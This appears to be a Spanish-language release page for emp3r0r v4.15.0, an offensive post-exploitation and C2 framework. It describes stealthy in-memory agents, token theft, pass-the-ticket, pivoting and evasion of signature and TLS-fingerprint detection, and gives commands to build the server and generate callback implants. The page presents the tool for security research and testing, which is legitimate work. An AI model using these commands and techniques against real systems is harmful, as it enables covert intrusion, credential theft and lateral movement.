Volver a actualizaciones
Nuevo releaseSep 5, 2026

emp3r0r v4.15.0

Auto‑recuperable Gossip Mesh C2 con Descubrimiento de Pares Asistido, Ejecución BOF Multiplataforma y Agentes Programables.

Compartir
emp3r0r

emp3r0r

Un C2 autorreparable y solo en memoria para Linux y Windows — agentes que sobreviven a enlaces rotos, nunca tocan el disco y se abren camino mediante scripts a través de la API de Win32.


Discord GitHub Sponsors

GitHub go.mod Go version Tests GitHub License GitHub release


emp3r0r-readme

¿Qué es emp3r0r?

emp3r0r es un framework de post-explotación y C2 diseñado para entornos Linux y Windows donde el sigilo y la resiliencia no son opcionales. En lugar de asumir una conexión fiable a un único servidor, los agentes forman una malla autorreparable que sigue funcionando cuando los enlaces se rompen. En lugar de pedirle Python o PowerShell al objetivo, ejecutan todo en memoria. Y en lugar de limitarte a los trucos de una sola plataforma, emp3r0r ejecuta BOFs de Windows, objetos de Linux y scripts de Starlark — todo sin archivos, todo en proceso.


Aspectos destacados y características únicas

🐍 Agentes programables (motor Starlark embebido y proxy de la API de Win32)

Cada agente lleva su propio motor de scripting, así que puedes añadir nueva lógica de post-explotación sin compilar ni desplegar binarios.

  • Los scripts se ejecutan completamente en memoria — no se requiere Python, Bash ni PowerShell en el objetivo, y no se generan intérpretes de comandos.
  • Un conjunto completo de APIs integradas cubre E/S de archivos, HTTP, ejecución de comandos y más, directamente desde el código del script.
  • En Windows, los scripts pueden llamar directamente a funciones nativas de Win32 — el agente actúa como proxy directo hacia las DLLs del sistema.
  • Los módulos son simples archivos Starlark con un pequeño manifiesto JSON, así que añadir los tuyos es fácil y sin archivos.

Por qué es importante: escribir y extender la funcionalidad del agente se vuelve tan simple como editar un script, sin la huella que supone dejar un intérprete o un nuevo binario en el objetivo.


🔐 Fijación de identidad criptográfica TOFU

Los agentes vinculan su identidad a una clave criptográfica la primera vez que hablan contigo — y ese vínculo nunca cambia.

  • El re-registro con credenciales diferentes se trata como un impostor y se rechaza.
  • Eliminar un agente es una decisión explícita del operador, no algo que una clave robada pueda hacer en silencio.

Por qué es importante: el secuestro de sesión y la clonación de agentes simplemente no ocurren; cada agente con el que hablas es el que registraste.


🔒 Secreto perfecto hacia adelante (PFS)

Cada enlace C2 y entre pares usa claves ECDH efímeras con claves de cifrado derivadas de la sesión.

Por qué es importante: incluso si una clave de largo plazo se ve comprometida más tarde, no puede usarse para descifrar tráfico que ya pasó.


🕸️ Red de malla autónoma P2P por gossip

Los agentes se descubren entre sí y retransmiten tráfico a través de una malla gossip, así que la operación no se derrumba cuando un enlace o un servidor desaparece.

  • Los pares se conectan mediante mTLS 1.3 de camuflaje o UDP fiable (KCP), con cada salto cifrado.
  • El tráfico se redirige automáticamente alrededor de retransmisores muertos — sin cirugía manual de proxies a mitad de operación.
  • Los segmentos sin acceso directo al C2 siguen siendo alcanzables a través de sus vecinos.

Por qué es importante: la red hace el pivoting por ti. Corta un enlace, pierde una máquina o bloquea el C2 — los agentes se redirigen por sí solos.


📂 Sistema de archivos P2P

Los archivos se mueven directamente entre agentes, no solo a través del C2.

  • Las transferencias viajan por túneles cifrados de punto a punto, así que las redes internas no se convierten en un cuello de botella para tu servidor.
  • Los archivos se almacenan en caché en la memoria del agente como blobs cifrados y se sirven a los pares bajo demanda.
  • Si ningún par tiene un archivo, el agente lo obtiene automáticamente del C2.

Por qué es importante: la entrega es rápida y en gran medida invisible para el canal C2 — ideal para entornos con restricciones de salida.


📡 Listeners multiprotocolo y stagers conectables

Conseguir que un agente entre se trata con la misma seriedad que mantenerlo vivo.

  • Listeners HTTP, TCP y UDP con framing fiable y perfiles HTTP personalizables.
  • Un stager de aproximadamente 2KB construido sobre llamadas directas al sistema de Linux — sin libc, sin toolchain en el objetivo.
  • Transportes de stager conectables y empaquetadores auto-desempaquetables te permiten mezclar el acceso inicial en cualquier canal que tu objetivo permita, y derrotar la coincidencia de firmas estáticas en el proceso.
  • El código del stager y del agente respeta la disciplina de lectura/escritura/ejecución — nunca RWX.

Por qué es importante: un acceso inicial pequeño, adaptable e higiénico en memoria significa que puedes aterrizar en hosts que de otro modo estarían fuera de alcance.


🧩 Soporte nativo multiplataforma de BOF y PICO (COFF, ELF y PICO)

Ejecuta módulos C compilados en proceso en cualquiera de las dos plataformas:

  • Binarios COFF/BOF de Windows con empaquetado de argumentos tipado.
  • Objetos reubicables ELF de Linux cargados directamente en la memoria del agente.
  • Módulos PICO de Crystal-Kit con spoofing de callstack SilentMoonwalk.
  • Kerbeus-BOF, Remote-OPs y una suite de Conocimiento Situacional vienen listos para usar.

Por qué es importante: los BOFs son tan buenos como su cargador — emp3r0r los ejecuta en proceso sin un nuevo proceso y sin dejar rastro, tanto en Linux como en Windows.


🔑 Tokens de Windows, sesiones netonly y tickets Kerberos (PTT)

Una vez que estás en un host Windows, emp3r0r te permite convertirte en los usuarios que hay en él — sin dejar caer ninguna herramienta.

  • Roba un token de acceso de cualquier proceso en ejecución y úsalo en todas partes: módulos Go, Starlark, BOFs.
  • Crea sesiones netonly desechables con el flag --user de un módulo: mantienen la identidad de tu propio agente y solo toman prestada la del usuario objetivo para el acceso saliente — cualquier contraseña sirve, nada se valida nunca.
  • Importa tickets Kerberos con el flag --ticket para un pass-the-ticket completo: tu identidad de red se convierte en la del ticket (digamos, el Administrador del Dominio) mientras tu identidad local nunca cambia.
  • Cada módulo consciente de tokens acepta --token, --user y --ticket, así que cambiar de identidad está a un flag de distancia — incluyendo crear una sesión y cargar un ticket en un solo comando.
  • Los tickets viven por sesión de inicio de sesión, así que el material del DA permanece en cuarentena en una sesión desechable que puedes purgar, y el propio proceso del agente se mantiene limpio.

Por qué es importante: el movimiento lateral hacia máquinas que no ejecutan ningún agente — recursos compartidos SMB, control de servicios, CIFS — se convierte en una parte normal de tu flujo de trabajo, autenticado como el usuario que has tomado prestado, no como una herramienta en disco.


🧦 Pivoting SOCKS5 y tun2socks del lado del operador

Haz pivoting sin quemar otro implante: el C2 ejecuta un proxy SOCKS5 que retransmite a través del agente que selecciones, y el lado del operador puede ir un paso más allá con un dispositivo TUN transparente.

  • socks_start 1080 te da un endpoint SOCKS5 en el C2 que tuneliza a través del agente elegido — apunta proxychains o cualquier herramienta hacia él y estás dentro de la red objetivo.
  • tun2socks start --route 10.10.0.0/24 crea un dispositivo TUN que enruta solo las subredes que nombres a través de ese proxy — todo lo demás sigue usando tu conexión normal.
  • El resultado parece originarse desde el agente, sin configuración de proxy por herramienta.

Por qué es importante: alcanza redes enteras del lado del agente de forma transparente — haz curl a un DC, usa cualquier herramienta — con salida que parece venir de la red objetivo, no de tu máquina de operador.


🎭 Transporte C2 conectable, evasión JA3 con uTLS y protocolo CBOR

  • Elige polling HTTP estilo beacon o streaming HTTP/2 — ambos con perfiles maleables.
  • Las huellas TLS se aleatorizan con uTLS, así que el canal no destaca en la telemetría de red.
  • El tráfico de control viaja en un protocolo CBOR compacto — más pequeño, más rápido y más difícil de parsear que JSON.

Por qué es importante: el canal C2 está hecho para parecer tráfico ordinario y mantenerse ligero en la red.


💾 Almacenamiento cifrado con prioridad en memoria

  • Las operaciones de archivos del agente se ejecutan contra un sistema de archivos virtual en memoria, cifrado con AES-GCM; los datos grandes se derraman a disco solo como blobs cifrados sin cabeceras identificables.
  • Los agentes compatibles con P2P almacenan en caché lo que obtienen y lo comparten con los pares, reduciendo aún más el tráfico C2.

Por qué es importante: incluso el disco se trata como hostil — el agente no deja artefactos en texto plano que puedan encontrarse.


Inicio rápido

1. Instalación del servidor C2

Compilar emp3r0r requiere Docker o Podman en el host — sin toolchain de Go local.

git clone --depth=1 https://github.com/jm33-m0/emp3r0r.git && cd emp3r0r
./install.py

El instalador compila todo en un contenedor desechable y prepara el kit del operador. Flags útiles: --lightweight (solo Linux/Windows amd64, el más rápido), --targets OS/ARCH,..., --debug, --skip-build.

Inicia el servidor:

emp3r0r server --c2-hosts 1.2.3.4 --http-port 12345 --operator-port 13377

2. Configuración de la máquina del operador

tar --zstd -xpf emp3r0r-operator-kit.tar.zst
cd ./emp3r0r-operator-kit && ./install.py

Conéctate usando las credenciales de WireGuard que el servidor imprimió:

emp3r0r client --c2-port 13377 \
  --server-wg-key '<SERVER_WG_KEY>' --server-wg-ip '<SERVER_WG_IP>' \
  --operator-wg-ip '<OPERATOR_WG_IP>' --operator-wg-key '<OPERATOR_WG_KEY>' \
  --c2-host 1.2.3.4

3. Generar payloads de agente

Dentro de la consola del operador:

# Direct C2 agent
generate --type linux_executable --arch amd64 --cc your.domain.com

# Mesh gateway agent (also reachable from the C2 directly)
generate --type linux_executable --arch amd64 --cc your.domain.com \
  --p2p --direct-c2 --p2p-transport mtls

# Mesh intermediate peer (relays for other agents)
generate --type linux_executable --arch amd64 --cc your.domain.com \
  --p2p --p2p-transport mtls --peers 1.2.3.4

# Windows mesh peer over SMB named pipes (local \\.\pipe, cross-host \\host\pipe),
# AES-GCM framed like the other transports
# (requires the Windows SMB stack / logon session to reach the peer)
generate --type windows_executable --arch amd64 --cc your.domain.com \
  --p2p --p2p-transport smb

Los nodos de la malla pueden ejecutar transportes diferentes. Cada agente anuncia el transporte y el puerto en el que escucha su retransmisor, y los marcadores siempre usan el transporte anunciado por el par, así que una malla mixta (por ejemplo, nodos SMB de Windows junto a nodos mTLS de Linux) enruta a través de un par que comparte un transporte utilizable en lugar de asumir que todos ejecutan el predeterminado local. smb solo se acepta para payloads de Windows; kcp/mtls funcionan en todas partes.


Documentación y recursos


Apoya el desarrollo

Si emp3r0r ha demostrado ser valioso en tu investigación y pruebas de seguridad, considera apoyar su desarrollo continuo a través de GitHub Sponsors.

Categorías